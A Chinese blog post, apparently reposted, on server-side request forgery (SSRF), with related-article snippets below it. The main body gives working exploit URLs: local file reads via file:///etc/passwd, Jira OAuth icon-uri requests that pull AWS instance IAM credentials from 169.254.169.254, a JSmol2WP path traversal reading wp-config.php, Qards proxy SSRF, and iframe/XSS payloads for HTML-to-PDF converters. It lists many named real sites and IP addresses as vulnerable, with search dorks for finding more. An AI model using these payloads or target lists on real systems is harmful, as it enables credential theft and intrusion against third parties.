SSRF-服务器端请求伪造(类型和利用方法)第3部分

最新推荐文章于 2024-10-05 16:22:59 发布
转载 最新推荐文章于 2024-10-05 16:22:59 发布 · 1.2k 阅读 · 0

本文深入探讨了服务器侧请求伪造(SSRF)漏洞，列举了多个实际案例，包括Jira、JSmol2WP和Qards Wordpress插件等，展示了如何通过SSRF读取本地文件、探测内部网络和获取敏感信息。

4.实例

https://robert-brook.com/parliament/index.php?page=http://www.parliament.uk/business/news/2019/parliamentary-news-2019/this-week-in-the-commons-friday-25-january-2019/

在这里，页面参数获取外部资源并显示其内容。

SSRF到XSS

https://robert-brook.com/parliament/index.php?page=http://brutelogic.com.br/poc.svg

读取本地文件

https://robert-brook.com/parliament/index.php?page=file:///etc/passwd

当您尝试其他URL(如dict)时，会出错

警告：file_get_contents（）：无法找到包装器“dict” - 你是否忘记在配置PHP时启用它。

这表示未启用DICT URL结构

FFMPEG中的SSRF

读取本地文件
Demo
https://youtu.be/OQBZ__L23KU

易受攻击的站点-

https://www.onlinevideoconverter.com/
https://www.files-conversion.com/

Repo链接:https://github.com/neex/ffmpeg-avi-m3u-xbin

SSRF在广泛使用的插件和CMS中的应用

Jira的SSRF
Jira版本号低于7.3.5正遭受SSRF的困扰

https://<JIRA_BASEPATH>/plugins/servlet/oauth/users/icon-uri?consumerUri=…

在Shodan有4万多个JIRA站点。你可以利用下面的dork

X-AUSERNAME: anonymous
X-AUSERNAME: anonymous org:"Amazon.com"  -- For aws
X-AUSERNAME: anonymous org:"Microsoft Azure" -- For Azure
X-AUSERNAME: anonymous org:"google"  -- For Google

现在让我们看看一些易受攻击的站点

https://jira.majesco.com/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
https://jira.intellectdesign.com/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
https://team.asg.com/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
https://jira.magnitude.com/https://tickets.metabrainz.org/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
https://support.eu.evertz.com/jira/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
https://jira.dhis2.org/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
https://jira.vectormediagroup.com/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/ -- Aws Details 
https://mattel.cprime.com/jira/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
https://www.mfjira.io/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
http://adoptivefam.org/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
https://jira.iea-dpc.org/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
https://jira.fellowshipchurch.com:8443/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
https://jira.soleus.nu/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
http://jira.succraft.com:8080/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
https://tickets.metabrainz.org/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
http://support.make-my-day.co.nz/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com
http://52.202.112.34/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/iam/security-credentials/SystemsManagerRole -- Aws Details
https://jira.canallabs.fr/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/profile -- Aws Details
http://54.247.191.19/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data -- Aws Details
http://52.22.123.239/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data -- Aws Details
http://52.22.123.239/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance -- Aws Details
https://devops.deviate.net.nz/projects/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance -- Aws Details
https://52.73.101.120/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/iam/security-credentials/BitbucketRole -- Aws Details

这是我发现的一些易受攻击的网站

JSmol2WP Wordpress插件中的SSRF

低于1.07的JSmol2WP版本具有未经身份验证的服务器端请求伪造

http://localhost:8080/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php

Dork -

inurl:wp-content/plugins/jsmol2wp

易受攻击的网站

https://www.vivelab12.fr/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php -- DB details
http://thasso.com/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=https://google.com -- Fetch google.com
http://www.ch.ic.ac.uk/rzepa/blog/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php -- DB details

Qards Wordpress插件中的SSRF

Qards容易受到服务器端请求伪造（SSRF）的攻击

http://target/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com

Dork-

inurl:wp-content/plugins/qards

易受攻击的网站 -

http://www.horlovia-chemicals.ch/wordpress/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com
https://vfsgroup.com.au/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com
https://mrgoatygelato.com.au/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com
https://arturolopezvalerio.com/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com
https://hooverwellness.com/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com

HTML到PDF转换的SSRF

易受攻击的网站 -

https://pdfcrowd.com/#convert_by_input 
https://convertio.co/html-pdf/

Ssrf.html的内容

"><iframe src="file:///etc/passwd"></iframe>
"><svg/onload=document.write(document.location)> -- to know the path and some times to

以上发布的所有这些网站只是为了让您练习，作者不对任何滥用信息负责。

 

 

转自：https://mp.weixin.qq.com/s/fNQ-fsGJUlK2nWVBKI-boA

SSRF (服务器端请求伪造) 漏洞原理与利用方式
渗透之路，攻防之间皆学问
03-10 1万+
目录 一. 漏洞原理 二. 漏洞危害 三. 从皮卡丘靶场看懂SSRF 1. 源码解读 2. 内网环境搭建 3. SSRF漏洞利用 1. 访问正常文件 2. 端口扫描 3. 读取系统本地文件 4. 攻击内网应用 四. SSRF漏洞挖掘 1. ssrf可能出现的地方 2. 从关键字寻找 3. 绕过小技巧 五. 漏洞防御 一. 漏洞原理 SSRF（Server-Side Request Forgery，服务器端请求伪造）是一种由攻击者构造请求，由服务器端发起请求的...
实时数仓设计与实现
啥也不会的博客
11-09 1168
系统分析 需求分析 公司现有多个的销售渠道，如京东、天猫等分销商，线下门店，以及品牌自身的官网和微信小程序等。 其中官网和微信小程序因为是公司内部管理的，所以数据可以及时的取到；而其他部分的销售数据都是第二天由各渠道统一推送。 随着业务的深入，对于数据的实时性要求越来越高，尤其是官网、微信小程序的数据，在实时数仓建设以前，已经由每天计算一次改为每小时计算一次。而数据原先是已csv文件形式给到IT部门，按照旧的架构，需要先把csv导入到内部SQL Server之后，再从SQL Server抽取数据到h
SSRF（服务器端请求伪造）
nz9611的博客
07-15 2105
SSRF（服务器端请求伪造），也称为XSPA（跨站端口攻击）。利用漏洞伪造服务器端发起请求，从而突破客户端获取不到数据限制。 一般情况下，攻击者无法绕过waf向内网发送恶意请求，达到攻击目的。而SSRF的出现使得waf变得不再那么无敌。攻击者通过伪造服务器请求与内网进行交互，从而达到探测内网，对内网进行攻击的目的（与多种攻击方式相结合）。 那么哪些地方容易出现SSRF攻击呢？ 1.通过URL地址分...
SSRF(服务器端请求伪造)浅析
weixin_43553654的博客
07-28 455
0x00 SSRF漏洞的定义与成因 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF是要目标网站的内部系统。（因为他是从内部系统访问的，所有可以通过它攻击外网无法访问的内部系统，也就是把目标网站当中间人） SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容，加载指定地址的图片，下载等等。 上边这些都是一些在百度
SSRF服务器端请求伪造漏洞精讲+实验
11-05
程声明：该课程是教学使用，视频内涉及漏洞利用方法，请勿在互联网环境中使用；维护互联网安全，人人有责。实验所需环境：vmware；kali虚拟机一台；windows server一台；有docker环境的Linux虚拟机环境下载地址在购买课程后单独发送 【课程配套资源】1、Python脚本（Margin老师自研，不光能学漏洞，还能学Python，实在是划算）2、与Margin老师实时互动3、免费的CISP-PTE考试技巧指导（Margin老师与CISP-PTE的负责人很熟的，非常多的一手消息^o^）4、Margin老师的内部直播可以优先参加5、Margin老师的课程基于CISP-PTE的知识体系进一步扩展，使课程内容更贴近实战   【课程主要解决问题】1、CSRF、SSRF搞不清楚？2、SSRF原理是什么？危害大小？如何利用SSRF获取主机权限？如果使用Python提高挖洞效率？3、Gopher协议、Dict协议？完全没听过啊，没关系，看完课程后你门清。4、SSRF渗透Redis数据库，Redis客户端和服务器端怎么通信？通信报文是怎么样的？看这里就行。5、SSRF渗透Struts2总是失败？不知道如何编码？不知道如何使用Gopher协议？来这里。6、SSRF表面简单，实则有无数坑，通过视频提高学习效率吧。 【CISP-PTE介绍】1、CISP-PTE是进入网络安全行业的TOP1认证，能帮你梳理完整的网络安全知识体系2、有PTE证书在网络安全公司是免技术笔试的，怎么样？是不是很棒。3、Margin老师的课程基于CISP-PTE的知识体系进一步扩展，使课程内容更贴近实战本课程属于CISP-PTE渗透测试工程师认证体系的课程，但内容更加丰富。CISP-PTE是国内第一个以动手实操为主的网络安全认证，该注册考试是为了锻炼考生世界解决网络安全问题的能力，持续增强我国的网络安全水平和防御能力，促进国内网络防御能力的不断提高。考试内容从多个层面进行，考点和网络安全动态相结合，真实的反应出真实的网络环境中发现的各种问题。如果要考取CISP-PTE证书需要掌握以下内容：1、Web安全基础，注入漏洞、上传漏洞、跨站脚本漏洞、访问控制漏洞、会话管理漏洞哦等。2、中间件的安全知识，如：Apache,IIS,Tomcat,以及 JAVA 开发的中间件 Weblogic,Jboss, Websphere 等，且要了解中间件加固方法，在攻与防的能力上不断提升。3、操作系统安全，包含Windows和Linux操作系统，从账户管理、文件系统权限、日志审计等方面讲解，了解常见的漏洞方式和加固方法。4、数据库安全，包含MSSQL、MYSQL、ORACLE、REDIS数据，了解常用的数据库漏洞和题全方法，保证数据库的安全性。 【关于Margin老师】· Margin／教育系统网络安全保障人员认证首批讲师／高级讲师· 擅长CTF／Web安全／渗透测试 ／系统安全· 3年研发／擅长Java／Python／某银行现金循环机业务系统开发者· 曾参与开发网络安全认证教材· 知乎专栏／CISP-PTE渗透测试工程师学习· 4年线下网络安全讲师／2000+线下学员／100000+线上学员
wooyun常见ssrf总结+常见ssrf绕过姿势
HWHXY的博客
01-31 1092
wooyun常见ssrf总结 直接看总结就行了，懒人一个。 0x01. weblogic CVE-2014-4210 http://221.239.120.208/uddiexplorer/SearchPublicRegistries.jsp?operator=http://10.1.9.136&rdoSearch=name&txtSearchname=&txtSearchkey=&txtSearchfor=&selfor=Business+location&
SSRF实验
qq_52579508的博客
07-07 1036
这里存在一个url点击这个href 可以跳转到dvwa这里还可以使用https直接把百度页面嵌套在本页面还可以尝试file 协议就可以造成文件读取了。
SSRF - 服务器端请求伪造
m0_61858762的博客
08-25 1151
其形成的原因大都是由于服务端,但又没有对目标地址做严格过滤与限制，导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。数据流:攻击者----->服务器---->目标地址curl支持很多协议，有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP。
SSRF--服务器端请求伪造
qq_68233961的博客
10-08 1039
SSRF--服务器端请求伪造
【web安全】——SSRF服务器端请求伪造
wxh的博客
10-05 1498
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统）
【CTF】SSRF服务器端请求伪造
qq_53099119的博客
04-02 2946
从本题来看，他说他在baidu.com下放了一个flag.txt，但是试想一下，这个baidu.com是不可能为真正的百度的那个域名的，所以此处这个baidu.com应该为出题者所建的一个目录，所以就是ssrf读文件，我们就想到使用file协议来读取flag.txt这个文件。此处表示，截取所输入内容中的从第7位开始，长度为9的字符串，如果他的内容为baidu.com，那么程序也会die，而且我们所需要用的file://协议恰巧与http://协议长度相同，就很气人。
[翻译]盲SSRF利用链术语表
dzqxwzoe的博客
02-26 1717
计算机专业的同学都应该接触了解过，这部分可以直接略过。没学过的同学也不要慌，可以去B站搜索相关视频，你搜关键词网络安全工程师会出现很多相关的视频教程，我粗略的看了一下，排名第一的视频就讲的很详细。从时代发展的角度看，网络安全的知识是学不完的，而且以后要学的会更多，同学们要摆正心态，既然选择入门网络安全，就不能仅仅只是入门程度而已，能力越强机会才越多。不过我们这个水平也就算个渗透测试工程师，也就只能做个基础的安全服务，而这个领域还有很多业务，像攻防演练、等保测评、风险评估等，我们的能力根本不够看。
关于 AWS IAM Role 的最佳实践
wangzan18的博客
12-27 4221
一、EC2 针对 EC2 上面的应用程序，不要分配 User Credentials，使用 IAM Role Attachment。可以访问 EC2 的 meatdata 查看赋予的 Role 权限 curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 二、Software on local laptop 针对...
[AWS][安全][S3] IAM 角色授权 EC2 访问 S3
栗子哥的云计算博客
06-19 2865
实验说明: 在先前的中，我们讲到使用 AWS CLI 对 S3 中的对象进行操作，在配置 AWS CLI 的 时候，我们创建了 IAM Access Key 和 Secret Key，这种 Key 属于 Long Term Key，也就意味 着如果您不 rotate Key，那么 key 将长期有效，如果 Key 不慎丢失，就需要在 AWS IAM 界 面删除这个 key 或者停用 key。当我们将服务部署在 AWS EC2 的时候，还有另外一个可选 方案，即使用 EC2 Role(角色)的方式，使 EC2
Web安全之SSRF漏洞
热门推荐
我不是大牛
07-04 2万+
内容 SSRF漏洞的危害 SSRF漏洞的挖掘 SSRF漏洞的防御 SSRF漏洞原理概述 背景 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。 概述 很多Web应用都提供了从其他服务器上获取数据的功能。使用用户指定的URL，Web应用可以获取图片...
SSRF(服务端请求伪造)原理/防御
weixin_67757219的博客
02-06 356
对以上的功能点抓包分析请求的URL,如果访问的是另一个服务器的地址,就可能存在SSRF漏洞。比如端口扫描,读取默认文件判断服务架构,或者配合SQL注入等其他漏洞攻击内网的主机。攻击者伪造服务器获取资源的请求,通过服务器来攻击内部系统。SSRF常用的防御手段有五种。
SSRF服务器端请求伪造
guishengyx的博客
04-27 276
服务器因为你的传参发送数据包 我的传参为什么会让服务器发送数据包？ 翻译网页功能如何实现 翻译网站直接替代我们去访问目标站点，然后获得内容后查询英文对应，然后处理完返回给用户 典型的SSRF：用户传参然后服务器去访问 SSRF危害： 访问内网（外紧内松） 隐藏攻击者（当做跳板机来躲避追踪） 攻击目标本机（dict:// file:// 读取文件）（有些网站对127.0.0.1的访问不设防） ...
Pikachu靶场之SSRF服务器端请求伪造
m0_46467017的博客
08-24 1244
SSRF漏洞（服务器端请求伪造）：是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统）。
PortSwigger 服务端请求伪造 （SSRF）
weixin_42451330的博客
11-18 1337
本文介绍PortSwigger靶场 服务端请求伪造 （SSRF），包括基本SSRF、另一个系统SSRF、黑名单SSRF、白名单SSRF，重定向SSRF、盲外带SSRF。如有疑问欢迎私聊。
java服务器端请求伪造漏洞修复
最新发布
07-11
### SSRF漏洞修复方法 为了有效防止服务器端请求伪造（SSRF）漏洞，可以采取多种安全措施来限制和验证应用程序发起的请求。 1. **禁用不必要的协议**：可以通过配置禁止使用某些危险协议，例如`file://`、`gopher://`等。在Java中，可以使用`URL`类并结合白名单机制对目标地址进行校验[^3]。 ```java public boolean validateUrl(String urlString) { try { URL url = new URL(urlString); String protocol = url.getProtocol(); if (!protocol.equalsIgnoreCase("http") && !protocol.equalsIgnoreCase("https")) { return false; } } catch (MalformedURLException e) { return false; } return true; } ``` 2. **IP地址黑名单与白名单机制**：通过对目标地址进行IP过滤，阻止向内网IP或敏感地址发起请求。例如，可以使用正则表达式匹配私有IP范围，并拒绝访问这些地址[^4]。 ```java public boolean isPrivateIp(String host) { Pattern privateIpPattern = Pattern.compile("^(127\\.0\\.0\\.1|10\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}|172\\.(1[6-9]|2\\d|3[01])\\.\\d{1,3}\\.\\d{1,3}|192\\.168\\.\\d{1,3}\\.\\d{1,3})$"); Matcher matcher = privateIpPattern.matcher(host); return matcher.find(); } ``` 3. **限制DNS解析和域名访问**：通过设置DNS解析策略，确保不会解析到本地回环地址或其他内部网络地址。此外，也可以限制只能访问特定的域名，而非任意地址[^1]。 4. **使用安全库和框架**：利用现有的安全库，如Apache HttpClient、OkHttp等，这些库通常具备一定的安全性增强功能，能够帮助开发者更安全地处理HTTP请求。 5. **输入验证和输出编码**：对于用户提供的URL参数，必须进行严格的输入验证，确保其格式正确且符合预期。同时，在返回响应时也要对输出内容进行适当的编码，以防止潜在的信息泄露问题[^2]。 6. **避免直接使用用户输入作为请求目标**：尽量减少直接将用户输入用于发起外部请求的情况，而是提供一个受控的接口或者预定义选项供用户选择，从而降低风险。 7. **日志记录与监控**：记录所有由服务端发起的请求，并定期检查日志文件，以便及时发现异常行为。此外，还可以设置警报机制，当检测到可疑活动时立即通知相关人员[^4]。 8. **更新依赖库和框架**：保持项目中使用的第三方库及框架处于最新版本状态，因为它们可能包含针对已知漏洞的安全修复补丁。 通过以上方法，可以在很大程度上缓解甚至消除SSRF带来的威胁，保护系统的安全性。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值